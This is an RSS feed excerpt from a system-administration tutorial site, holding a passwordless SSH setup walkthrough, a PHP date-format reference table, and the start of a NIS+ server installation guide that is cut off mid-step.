5e:30:d3:1a:00:c5:0b:29:96:ac:3e:42:20:dc:af:38 web@localhost.localdomain</p>
<p>You can run the command ssh-keygen from any directory but the id files will be generated in .ssh dir of user&#8217;s home directory.</p>
<p><b>2. Change directory to .ssh directory.</b></p>
<p><i>[web@localhost ~]$ cd /home/web.ssh<br />
</i><br />
You will see two files starting with  id_rsa. id_rsa is the private key and id_rsa.pub is public key. Check the date time stamp of these files to make sure these are the ones you generated recently.&nbsp;</p>
<p><i>/.ssh[web@localhost .ssh]$ ls -la<br />
</i>total 32<br />
drwx&#8212;&#8212;  2 web web  4096 Dec  7 22:05 .<br />
drwx&#8212;&#8212; 34 web web 12288 Dec  7 22:04 ..<br />
-rw&#8212;&#8212;-  1 web web  1675 Dec  7 22:05 id_rsa<br />
-rw-r&#8211;r&#8211;  1 web web   407 Dec  7 22:05 id_rsa.pub<br />
-rw-r&#8211;r&#8211;  1 web web   391 Dec  7 22:03 known_hosts</p>
<p>/.ssh[web@localhost .ssh]$ date<br />
Tue Dec  7 22:05:45 PST 2010</p>
<p>
<b>3. Copy the rsa public key to the remote host </b> . You have to copy the public key file in to .ssh of the user home directory and if .ssh directory is not there , create it as in the example below.<br />
You need to enter sftp/ssh&nbsp; password .</p>
<p><i>/.ssh[web@localhost .ssh]$ sftp james@devserver</i><br />
Connecting to devserver&#8230;<br />
james@devserver&#8217;s password:&nbsp;<br />
<i>sftp> pwd<br />
Remote working directory: /home/james<br />
sftp> cd .ssh<br />
Couldn&#8217;t canonicalise: No such file or directory<br />
sftp> mkdir .ssh&nbsp;<br />
sftp> cd .ssh<br />
sftp> put id_rsa.pub<br />
Uploading id_rsa.pub to /home/james/.ssh/id_rsa.pub<br />
id_rsa.pub                                      0%    0     0.0KB/s   &#8211;:&#8211; ETAid_rsa.pub                                    100%  407     0.4KB/s   00:00&nbsp;<br />
sftp>&nbsp;</i></p>
<p>
4.<b> login to the remote host&nbsp; with password</b></p>
<p>Once file is copied over , login to the remote host using ssh and password and go to .ssh directory under user home directory.<br />
/.ssh[web@localhost .ssh]$ ssh james@devserver<br />
james@devserver&#8217;s password:&nbsp;</p>
<p>james@devserver:~[james@devserver ~]$ cd .ssh<br />
james@devserver:~/.ssh[james@devserver .ssh]$ pwd<br />
/home/james/.ssh</p>
<p>james@devserver:~/.ssh[james@devserver .ssh]$ ls -l<br />
total 4<br />
-rw-r&#8211;r&#8211; 1 james james 407 Dec  7 22:06 id_rsa.pub</p>
<p><b>5. Rename the public key file to authorized_keys ;&nbsp;<br />
</b>if the authorized_keys file already exists then append the new keys to the existing file using,<br />
<i>   cat id_rsa.pub >> authorized_keys</i> .<br />
Don&#8217;t use vi or editor to open , append and save these key files as any extra character/newline would corrupt these files.&nbsp;</p>
<p><i>james@devserver:~/.ssh[james@devserver .ssh]$ mv  id_rsa.pub authorized_keys<br />
</i><br />
You can see the contents using cat command<br />
<i>james@devserver:~/.ssh[james@devserver .ssh]$ cat authorized_keys&nbsp;<br />
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArVWhE0L2FXNvmggZgqmGU<br />
LVrcE4X7WQr6scSuU5FCQUsXzYjyOL8FbUIIkBeLLMIrV7mYa+<br />
xuszHcvnAho/42/e4r5by8LVMyh0AAo7nketemkO/2ZiUXZhww7tySxgcI5U5L5PDmTCyF7vxLlJ0rGb7Ky//DtpKrBui5P4gIrKBeiA2TlbEL9UrQZ8HgTU3iSGtfUXH0O<br />
26iLSWi6Tf40hEazvvVYESHPSBjUPIMqUGabtz1kKMDQB5x<br />
C+F2MZ4lUCmgK2NexrhVWOrp7ODS1GlKsjSv6NSxOIVW0je<br />
V00ZW9Fvgz865g+fakBITqYP76ptPIVXEps+91ABRSwggQ== web@localhost.localdomain</i></p>
<p>
<b>6. Change the key file and directory permissions&nbsp;</b></p>
<p> ssh is very sensitive to permissions so you have to change the key file and directory permissions for it to work.</p>
<p><b>6a : Change  authorized_keys  to 600 permissions<br />
</b><br />
<i>james@devserver:~/.ssh[james@devserver .ssh]$ chmod 600 authorized_keys&nbsp;<br />
james@devserver:~/.ssh[james@devserver .ssh]$ ls -ltr<br />
total 8<br />
-rw-r&#8211;r&#8211; 1 james james 407 Dec  7 22:06 id_rsa.pub<br />
-rw&#8212;&#8212;- 1 james james 407 Dec  7 22:08 authorized_keys</p>
<p>james@devserver:~/.ssh[james@devserver .ssh]$ cd ..</i></p>
<p><b>6b : Change .ssh directory to 700 permission<br />
</b>james@devserver:~[james@devserver ~]$ chmod 700 .ssh</p>
<p><b>6c :Verify permissions and  log out .&nbsp;</b><br />
james@devserver:~[james@devserver ~]$ logout<br />
Connection to localhost closed.</p>
<p>
<b>8.&nbsp; Moment of truth :  Try a ssh&nbsp;<br />
</b><br />
/.ssh[web@localhost .ssh]$ ssh james@devserver<br />
Last login: Tue Dec  7 22:07:04 2010 from localhost.localdomain<br />
james@devserver:~[james@devserver ~]$ pwd<br />
/home/james</p>
<p>
<b>Here we have no password secure access working .<br />
</b><br />
<b>The most common problems&nbsp; can be&nbsp;&nbsp;</b></p>
<p>1. Incorrect permission for .ssh and authorized_keys file&nbsp;</p>
<p>2. Corrupt key file , regenerate and copy again.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/how-to-configure-ssh-without-password/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Php Date Format</title>
		<link>http://www.adminschoice.com/php-date-format</link>
		<comments>http://www.adminschoice.com/php-date-format#comments</comments>
		<pubDate>Sat, 06 Feb 2010 02:09:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=397</guid>
		<description><![CDATA[Date time formatting in PHP Many scripts written in php need date and time function . PHP has many predfined date formats and you can also customized it as per your need . Here are some of the date format examples and additional details for php. Examples Variable $today has different formats as we set [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Date time formatting in PHP </strong><br />
Many scripts written in php need date and time function . PHP has many predfined date formats and you can also customized it as per your need .</p>
<p>Here are some of the date format examples and additional details for php.</p>
<p><strong>Examples </strong><br />
Variable $today has different formats as we set the format types in the following examples : </p>
<p>$today = date(&#8220;F j, Y, g:i a&#8221;);       ->        February 5, 2010, 6:20 pm<br />
$today = date(&#8220;m.d.y&#8221;);               ->          02.05.10<br />
$today = date(&#8220;j, n, Y&#8221;);               ->        5, 2, 2010<br />
$today = date(&#8220;Ymd&#8221;);                  ->         20100205<br />
$today = date(&#8216;h-i-s, j-m-y, it is w Day&#8217;); ->   06-20-25, 5-02-10, 2028 2025 5 Fripm10<br />
$today = date(&#8216;it is the jS day.&#8217;); ->  it is the 5th day.<br />
$today = date(&#8220;D M j G:i:s T Y&#8221;);      ->          Fri Feb 5 18:20:25 PST 2010<br />
$today = date(&#8216;H:m:s m is month&#8217;);  ->    18:02:25 m is month</p>
<p><strong>Options for php date format</strong></p>
<div align="left">
<table width="570" border="0" height="1953">
<tr>
<td width="81" valign="top" bgcolor="#808080" height="38">
<b><font color="#FFFFFF">Character</font></b></p>
<td width="195" valign="top" bgcolor="#808080" height="38"><b><font color="#FFFFFF">Description</font></b></td>
<td width="274" valign="top" bgcolor="#808080" height="38"><b><font color="#FFFFFF">Example</font></b></td>
<tr>
<td width="81" valign="top" height="40">
d</p>
<td width="195" valign="top" height="40">Day of the month, 2 digits with leading zeros</td>
<td width="274" valign="top" height="40">01 to 31</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">D</td>
<td width="195" valign="top" bordercolor="#E4E4E4" bgcolor="#E4E4E4" height="40">A textual representation of a day, three letters</td>
<td width="274" valign="top" bordercolor="#E4E4E4" bgcolor="#E4E4E4" height="40">Mon through Sun</td>
<tr>
<td width="81" valign="top" height="40">j</td>
<td width="195" valign="top" height="40">Day of the month without leading zeros</td>
<td width="274" valign="top" height="40">1 to 31</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">l (lowercase &#8216;L&#8217;)</td>
<td width="195" valign="top" bgcolor="#E4E4E4" height="40">A full textual representation of the day of the week</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">Sunday through Saturday</td>
<tr>
<td width="81" valign="top" height="59">N</td>
<td width="195" valign="top" height="59">ISO-8601 numeric representation of the day of the week (added in PHP 5.1.0)</td>
<td width="274" valign="top" height="59">1 (for Monday) through 7 (for Sunday)</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">S</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">English ordinal suffix for the day of the month, 2 characters</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">st, nd, rd or th. Works well with j</td>
<tr>
<td width="81" valign="top" height="40">w</td>
<td width="195" valign="top" height="40">Numeric representation of the day of the week</td>
<td width="274" valign="top" height="40">0 (for Sunday) through 6 (for Saturday)</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">z</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">The day of the year (starting from 0)</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">0 through 365</td>
<tr>
<td width="550" valign="top" colspan="3" bgcolor="#808080" height="21"><b><font color="#FFFFFF">Week</font></b></td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="59">W</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="59">ISO-8601 week number of year, weeks starting on Monday (added in PHP 4.1.0)</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="59">Example: 42 (the 42nd week in the year)</td>
<tr>
<td width="550" valign="top" colspan="3" bgcolor="#808080" height="21"><font color="#FFFFFF"><b>Month</b></font></td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="59">F</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="59">A full textual representation of a month, such as January or March</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="59">January through December</td>
<tr>
<td width="81" valign="top" height="40">m</td>
<td width="195" valign="top" height="40">Numeric representation of a month, with leading zeros</td>
<td width="274" valign="top" height="40">01 through 12</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">M</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">A short textual representation of a month, three letters</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">Jan through Dec</td>
<tr>
<td width="81" valign="top" height="40">n</td>
<td width="195" valign="top" height="40">Numeric representation of a month, without leading zeros</td>
<td width="274" valign="top" height="40">1 through 12</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">t</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">Number of days in the given month</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">28 through 31</td>
<tr>
<td width="81" valign="top" bgcolor="#808080" height="21"><font color="#FFFFFF"><b>Year</b></font></td>
<td width="195" valign="top" bgcolor="#808080" height="21"><font color="#FFFFFF"><b>&nbsp;</b></font></td>
<td width="274" valign="top" bgcolor="#808080" height="21">&nbsp;</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="21">L</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="21">Whether it&#8217;s a leap year</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="21">1 if it is a leap year, 0 otherwise.</td>
<tr>
<td width="81" valign="top" height="116">o</td>
<td width="195" valign="top" height="116">ISO-8601 year number. This has the same value as Y, except that if the ISO week number (W) belongs to the previous or next year, that year is used instead. (added in PHP 5.1.0)</td>
<td width="274" valign="top" height="116">Examples: 1999 or 2003</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">Y</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">A full numeric representation of a year, 4 digits</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">Examples: 1999 or 2003</td>
<tr>
<td width="81" valign="top" height="40">y</td>
<td width="195" valign="top" height="40">A two digit representation of a year</td>
<td width="274" valign="top" height="40">Examples: 99 or 03</td>
<tr>
<td width="550" valign="top" bgcolor="#808080" colspan="3" height="21"><b><font color="#FFFFFF">Time</font></b></td>
<tr>
<td width="81" valign="top" height="40">a</td>
<td width="195" valign="top" height="40">Lowercase Ante meridiem and Post meridiem</td>
<td width="274" valign="top" height="40">am or pm</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">A</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" bordercolor="#E4E4E4" height="40">Uppercase Ante meridiem and Post meridiem</td>
<td width="274" valign="top" bordercolor="#E4E4E4" bgcolor="#E4E4E4" height="40">AM or PM</td>
<tr>
<td width="81" valign="top" height="21">B</td>
<td width="195" valign="top" height="21">Swatch Internet time</td>
<td width="274" valign="top" height="21">000 through 999</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">g</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">12-hour format of an hour without leading zeros</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">1 through 12</td>
<tr>
<td width="81" valign="top" height="40">G</td>
<td width="195" valign="top" height="40">24-hour format of an hour without leading zeros</td>
<td width="274" valign="top" height="40">0 through 23</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">h</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">12-hour format of an hour with leading zeros</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">01 through 12</td>
<tr>
<td width="81" valign="top" height="40">H</td>
<td width="195" valign="top" height="40">24-hour format of an hour with leading zeros</td>
<td width="274" valign="top" height="40">00 through 23</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="21">i</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="21">Minutes with leading zeros</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="21">00 to 59</td>
<tr>
<td width="81" valign="top" height="21">s</td>
<td width="195" valign="top" height="21">Seconds, with leading zeros</td>
<td width="274" valign="top" height="21">00 through 59</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">u</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">Microseconds (added in PHP 5.2.2)</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">Example: 654321</td>
<tr>
<td width="81" valign="top" bgcolor="#808080" height="21"><b><font color="#FFFFFF">Time zone</font></b></td>
<td width="195"  bgcolor="#808080"  valign="top" height="21">&nbsp;</td>
<td width="274" valign="top" bgcolor="#808080" height="21">&nbsp;</td>
<tr>
<td width="81" valign="top" height="40">e</td>
<td width="195" valign="top" height="40">Timezone identifier (added in PHP 5.1.0)</td>
<td width="274" valign="top" height="40">Examples: UTC, GMT, Atlantic/Azores</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">I (capital i)</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">Whether or not the date is in daylight saving time</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="40">1 if Daylight Saving Time, 0 otherwise.</td>
<tr>
<td width="81" valign="top" height="40">O</td>
<td width="195" valign="top" height="40">Difference to Greenwich time (GMT) in hours</td>
<td width="274" valign="top" height="40">Example: +0200</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="78">P</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="78">Difference to Greenwich time (GMT) with colon between hours and minutes (added in PHP 5.1.3)</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="78">Example: +02:00</td>
<tr>
<td width="81" valign="top" height="21">T</td>
<td width="195" valign="top" height="21">Timezone abbreviation</td>
<td width="274" valign="top" height="21">Examples: EST, MDT &#8230;</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="97">Z</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="97">Timezone offset in seconds. The offset for timezones west of UTC is always negative, and for those east of UTC is always positive.</td>
<td width="274"  bgcolor="#E4E4E4"  valign="top" height="97">-43200 through 50400</td>
<tr>
<td width="550" valign="top" colspan="3" bgcolor="#808080" height="21"><b><font color="#FFFFFF">Full Date/Time</font></b></td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="40">c</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="40">ISO 8601 date (added in PHP 5)</td>
<td width="274"  bgcolor="#E4E4E4"  valign="top" height="40">2004-02-12T15:19:21+00:00</td>
<tr>
<td width="81" valign="top" height="21">r</td>
<td width="195" valign="top" height="21">» RFC 2822 formatted date</td>
<td width="274" valign="top" height="21">Example: Thu, 21 Dec 2000 16:01:07 +0200</td>
<tr>
<td width="81" valign="top" bgcolor="#E4E4E4" height="59">U</td>
<td width="195"  bgcolor="#E4E4E4"  valign="top" height="59">Seconds since the Unix Epoch (January 1 1970 00:00:00 GMT)</td>
<td width="274" valign="top" bgcolor="#E4E4E4" height="59">See also time()</td>
</table>
</div>
<ul  >
<p>
<h2>Special Purpose Date time formatting </h2>
<p>
<strong>DateTime::ATOM</strong><br />
DATE_ATOM    Atom (example: 2005-08-15T15:52:01+00:00)<br />
<strong>DateTime::COOKIE</strong><br />
DATE_COOKIE    HTTP Cookies (example: Monday, 15-Aug-05 15:52:01 UTC)<br />
<strong>DateTime::ISO8601</strong><br />
DATE_ISO8601    ISO-8601 (example: 2005-08-15T15:52:01+0000)<br />
<strong>DateTime::RFC822</strong><br />
DATE_RFC822    RFC 822 (example: Mon, 15 Aug 05 15:52:01 +0000)<br />
<strong>DateTime::RFC850</strong><br />
DATE_RFC850    RFC 850 (example: Monday, 15-Aug-05 15:52:01 UTC)<br />
<strong>DateTime::RFC1036</strong><br />
DATE_RFC1036    RFC 1036 (example: Mon, 15 Aug 05 15:52:01 +0000)<br />
<strong>DateTime::RFC1123</strong><br />
DATE_RFC1123    RFC 1123 (example: Mon, 15 Aug 2005 15:52:01 +0000)<br />
<strong>DateTime::RFC2822</strong><br />
DATE_RFC2822    RFC 2822 (Mon, 15 Aug 2005 15:52:01 +0000)<br />
<strong>DateTime::RFC3339</strong><br />
DATE_RFC3339    Same as DATE_ATOM (since PHP 5.1.3)<br />
<strong>DateTime::RSS</strong><br />
DATE_RSS    RSS (Mon, 15 Aug 2005 15:52:01 +0000)<br />
<strong>DateTime::W3C</strong><br />
DATE_W3C    World Wide Web Consortium (example: 2005-08-15T15:52:01+00:00)</p>
<p><h2>Date Time Operations &#038;  Preformating in PHP </h2>
<li><a href="http://www.php.net/manual/en/datetime.add.php">DateTime::add</a><br />
    — Adds an amount of days, months, years, hours, minutes and seconds to a<br />
    DateTime object</li>
<li><a href="http://www.php.net/manual/en/datetime.construct.php">DateTime::__construct</a><br />
    — Returns new DateTime object</li>
<li><a href="http://www.php.net/manual/en/datetime.createfromformat.php">DateTime::createFromFormat</a><br />
    — Returns new DateTime object formatted according to the specified format</li>
<li><a href="http://www.php.net/manual/en/datetime.diff.php">DateTime::diff</a><br />
    — Returns the difference between two DateTime objects</li>
<li><a href="http://www.php.net/manual/en/datetime.format.php">DateTime::format</a><br />
    — Returns date formatted according to given format</li>
<li><a href="http://www.php.net/manual/en/datetime.getlasterrors.php">DateTime::getLastErrors</a><br />
    — Returns the warnings and errors</li>
<li><a href="http://www.php.net/manual/en/datetime.getoffset.php">DateTime::getOffset</a><br />
    — Returns the timezone offset</li>
<li><a href="http://www.php.net/manual/en/datetime.gettimestamp.php">DateTime::getTimestamp</a><br />
    — Gets the Unix timestamp</li>
<li><a href="http://www.php.net/manual/en/datetime.gettimezone.php">DateTime::getTimezone</a><br />
    — Return time zone relative to given DateTime</li>
<li><a href="http://www.php.net/manual/en/datetime.modify.php">DateTime::modify</a><br />
    — Alters the timestamp</li>
<li><a href="http://www.php.net/manual/en/datetime.set-state.php">DateTime::__set_state</a><br />
    — The __set_state handler</li>
<li><a href="http://www.php.net/manual/en/datetime.setdate.php">DateTime::setDate</a><br />
    — Sets the date</li>
<li><a href="http://www.php.net/manual/en/datetime.setisodate.php">DateTime::setISODate</a><br />
    — Sets the ISO date</li>
<li><a href="http://www.php.net/manual/en/datetime.settime.php">DateTime::setTime</a><br />
    — Sets the time</li>
<li><a href="http://www.php.net/manual/en/datetime.settimestamp.php">DateTime::setTimestamp</a><br />
    — Sets the date and time based on an Unix timestamp</li>
<li><a href="http://www.php.net/manual/en/datetime.settimezone.php">DateTime::setTimezone</a><br />
    — Sets the time zone for the DateTime object</li>
<li><a href="http://www.php.net/manual/en/datetime.sub.php">DateTime::sub</a><br />
    — Subtracts an amount of days, months, years, hours, minutes and seconds<br />
    from a DateTime object</li>
<li><a href="http://www.php.net/manual/en/datetime.wakeup.php">DateTime::__wakeup</a><br />
    — The __wakeup handler</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/php-date-format/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NISplus Installation &amp; Administration</title>
		<link>http://www.adminschoice.com/nisplus-installation-administration</link>
		<comments>http://www.adminschoice.com/nisplus-installation-administration#comments</comments>
		<pubDate>Tue, 29 Dec 2009 22:08:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[NIS]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=377</guid>
		<description><![CDATA[NISplus&#160; is network which allows you to store client information at a central place where all the clients have access. This enables system administrators to manage a group of servers from a central place. This article discusses the nisplus objects , installation of servers ,clients and administration commands. 1.0&#160; Introduction to NIS+ 1.1&#160; Objects in [...]]]></description>
			<content:encoded><![CDATA[
<p><b>NISplus</b>&nbsp; is network which allows you to store client information at a<br />
          central place where all the clients have access. This enables system<br />
          administrators to manage a group of servers from a central place.<br />
          This article discusses the nisplus objects , installation of servers ,clients and administration commands.</p>
<p align="left"><b>1.0&nbsp; <a href="#Introduction%20to%20NIS+%C2%A0">Introduction to NIS+</a></b>         </p>
<p align="left"><b>1.1&nbsp; <a href="#Objects%20in%20NIS%20+">Objects in NIS+</a></b></p>
<p align="left"><b>1.2&nbsp; <a href="#Standard%20Tables%20in%20NIS+">Standard tables in NIS+</a></b></p>
<p align="left"><b>1.3&nbsp; <a href="#Groups%20in%20NIS+">Groups  in NIS+</a></b></p>
<p align="left"><b>2.0&nbsp; <a href="#Preparing%20for%20Install">Preparing for Install</a></b></p>
<p align="left"><b>2.1&nbsp; <a href="#Installing%20Server">Installing Server</a></b></p>
<p align="left"><b>3.0&nbsp; <a href="#Installing%20Client">Installing Client</a></b></p>
<p align="left"><b>4.0&nbsp; <a href="#Administration%20Commands">Administration commands&nbsp;</a></b><br />
___________________________________<br />
            &nbsp;<br />
            <b>1.0&nbsp;<a name="Introduction to NIS+&nbsp;">Introduction to<br />
              NIS+&nbsp;</a></b></p>
<ul style="margin-top: 0in;" type="disc">
<li class="MsoNormal">NIS +&nbsp; is network information services&nbsp;<br />
              which allows you to store client information at a central place<br />
              where all the clients have access. &nbsp;&nbsp; The information<br />
              can be user passwords , home directories, network services .<span style="position: relative;" class="preLoadWrap" id="preLoadWrap5"></p>
<div style="position: absolute; z-index: 4000; top: -32px; left: -18px; display: none;" id="preLoadLayer5">
                <img style="border: 0px none ;" src="http://kona.kontera.com/javascript/lib/imgs/grey_loader.gif" width="22" height="22">
              </div>
<p>              </span>etc .</li>
<li class="MsoNormal">The information is stored in NIS+ tables .<br />
              Some of the standard tables (16 in number) comes with predefined<br />
              structure when NIS+ is installed . The other tables can be created<br />
              as per requirement using NIS+ commands.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</li>
<li class="MsoNormal">NIS+ uses&nbsp; hierarchical structure and can<br />
              have multiple domains servers&nbsp; .</li>
<li class="MsoNormal">NIS+ uses the client server model . The<br />
              primary server is called master server and the <font style="font-weight: 400; position: static"><span class="kLink" style="font-weight: 400; position: static">backup<br />
              server</span></font> is called the replica server . Both server<br />
              runs NIS+ and have copies of tables . The changes in master server&nbsp;<br />
              are propagated to replica servers in increments.</li>
<li class="MsoNormal">For security it uses both authentication and<br />
              authorization for securing the access to system and resources.<br />
              Authentication verifies validity of a user ; Authorization<br />
              verifies if the user is allowed to&nbsp; have access to the<br />
              resources. Access to any NIS+ table can be controlled through the<br />
              table permissions.</li>
<li class="MsoNormal">Clients&nbsp; have a configuration file /etc/nsswitch.com<br />
              ; entries in this file determines where the clients should look<br />
              for the information , in local files or NIS+ maps at the server.&nbsp;</li>
</ul>
<dl>
<p>  <b>1.1 <a name="Objects in NIS +">Objects in NIS +</a></b><br />
  There&nbsp; are three objects in NIS+&nbsp;<br />
  1. Parent domain -&nbsp; represented by&nbsp; <font style="font-weight: 400; position: static"><span class="kLink" style="font-weight: 400; position: static">domain<br />
    name</span></font> e.g.&nbsp; planet.com.: (Parent &nbsp; domain )</p>
<p>  2. org_dir&nbsp; &#8211; which contains all the NIS+&nbsp; tables .<br />
  3. groups_dir &#8211; contains the groups information , by default only admin<br />
    group is there.&nbsp;<br />
  &nbsp;<br />
  <b>1.2 <a name="Standard Tables in NIS+">Standard Tables in NIS+</p>
<p>    </a></b><br />
  They contain same type of information&nbsp; as standard files of the same<br />
    name .The passwd table however contains the encrypted password information<br />
    also .<br />
  passwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    group&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    auto_master&nbsp;&nbsp;&nbsp;&nbsp; auto_home</p>
<p>  Bootparams&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cred&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ethers&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    hosts</p>
<p>  mail_aliases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sendmailvars&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    netmasks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; netgroup&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p>  networks&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; protocols&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    rpc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
    services</p>
<p>  timezone&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; client_info</p>
<p>  <b>1.3 <a name="Groups in NIS+">Groups in NIS+</a></b><br />
  By default only admin group is created at the time of installation of NIS+<br />
    .<br />
  &nbsp;<br />
  <b>2.0 <a name="Preparing for Install">Preparing for Install</a></b><br />
  First step is to prepare the data files for NIS+ maps .This can be done by<br />
    coping the files which needs to be put in the nis+ tables for centralized<br />
    administration . The files are located in /etc and mostly have the same name<br />
    as NIS+&nbsp; tables</p>
<p>If you want only passwords , groups , hosts , home directories to be<br />
administered then you need to copy the these files in some other directory &#8211; say<br />
nisfiles. You can make additional changes here .</p>
<dl>
  <b>#cp /etc/passwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /export/home/nisfiles</b><br />
  <b>#cp /etc/group&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /export/home/nisfiles</b><br />
  <b>#cp /etc/hosts &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /export/home/nisfiles</b>
</dl>
<p>auto_home can&nbsp; be created by editing a copy of passwd file and keeping<br />
only the login name and home directory .</p>
<p>A typical auto_home will consists of following entries</p>
<dl>
  <b>#vi auto_home</b><br />
  +auto_home<br />
  peter&nbsp;&nbsp; 10.20.30.40:/home/&amp;<br />
  john&nbsp;&nbsp;&nbsp; 10.20.30.40:/home/&amp;
</dl>
<p>First column is user names&nbsp; followed by&nbsp; name of the machine<br />
providing home directories &amp; home&nbsp; directory path.</p>
<dl>
  <b>2.1 <a name="Installing Server">Installing Server</a></b><br />
  a) Define a default&nbsp; domain&nbsp; if not defined already in /etc/defaultdomain.<br />
  &nbsp;<br />
  &nbsp;&nbsp;&nbsp; <b>#domainname</b><br />
  &nbsp;&nbsp;&nbsp; planet.com<br />
  &nbsp;&nbsp;&nbsp; <b>#domainname &gt; /etc/defaultdomain</b><br />
  &nbsp;<br />
  b) As root ; change directory to the /usr/lib/nis or add PATH to this<br />
    directory.<br />
  &nbsp;&nbsp;&nbsp; Run server initialization program.<br />
  &nbsp;<br />
  &nbsp;&nbsp;&nbsp; <b>#nisserver -r</p>
<p>    </b>To setup server in NIS compatibility mode</p>
<p>    <b>#nisserver -r -Y<br />
    </b><br />
  <br />
    The above commands will setup the NIS+ server software.
</dl>
<p>Reboot the server</p>
<dl>
  c) Login as root ; change directory to the one containing the files<br />
    auto_home , passwd&nbsp; and group.<br />
  &nbsp;&nbsp;&nbsp; Run the command to populate the empty nis+ tables.<br />
  &nbsp;<br />
  &nbsp;&nbsp;&nbsp; <b>#cd /export/home/nisfiles</b><br />
  <b>&nbsp;&nbsp;&nbsp; #nispopulate –v –F</b><br />
  &nbsp;&nbsp;&nbsp; This will try to populate all the standard tables from<br />
